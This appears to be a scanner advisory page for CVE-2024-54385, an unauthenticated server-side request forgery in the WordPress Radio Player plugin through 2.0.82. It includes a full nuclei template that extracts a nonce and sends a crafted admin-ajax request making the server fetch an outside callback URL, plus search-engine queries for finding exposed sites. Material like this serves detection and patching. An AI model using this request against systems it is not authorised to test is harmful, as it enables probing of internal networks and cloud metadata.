Radio Player <= 2.0.82 - Server-Side Request Forgery

highseverity

7.2CVSS score

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The Radio Player Live Shoutcast, Icecast and Any Audio Stream Player for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.82. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

Impact

Unauthenticated attackers can perform server-side request forgery to query and modify internal services, potentially accessing sensitive data from internal networks or cloud metadata services.

Fix

Update Radio Player plugin to version 2.0.83 or later to address the SSRF vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/radio-player") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(interactsh_protocol, "http") and contains(body, "success\":true") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-54385 -u <target>

The full check

id: CVE-2024-54385

info:
  name: Radio Player <= 2.0.82 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Radio Player Live Shoutcast, Icecast and Any Audio Stream Player for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.82. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  impact: |
    Unauthenticated attackers can perform server-side request forgery to query and modify internal services, potentially accessing sensitive data from internal networks or cloud metadata services.
  remediation: |
    Update Radio Player plugin to version 2.0.83 or later to address the SSRF vulnerability.
  reference:
    - https://patchstack.com/database/wordpress/plugin/radio-player/vulnerability/wordpress-radio-player-plugin-2-0-82-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-54385
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/radio-player/radio-player-2082-unauthenticated-server-side-request-forgery
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54385
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54385
    cwe-id: CWE-918
    epss-score: 0.05513
    epss-percentile: 0.92867
  metadata:
    verified: true
    max-request: 2
    vendor: softLab
    product: radio-player
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/radio-player"
    fofa-query: body="/wp-content/plugins/radio-player"
  tags: cve,cve2024,wordpress,wp,wp-plugin,radio-player,ssrf,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/radio-player")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)",\s*"isPro"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=radio_player_get_stream_data&nonce={{nonce}}&utm_source=&url=http://{{interactsh-url}}/live.m3u8

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "success\":true")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from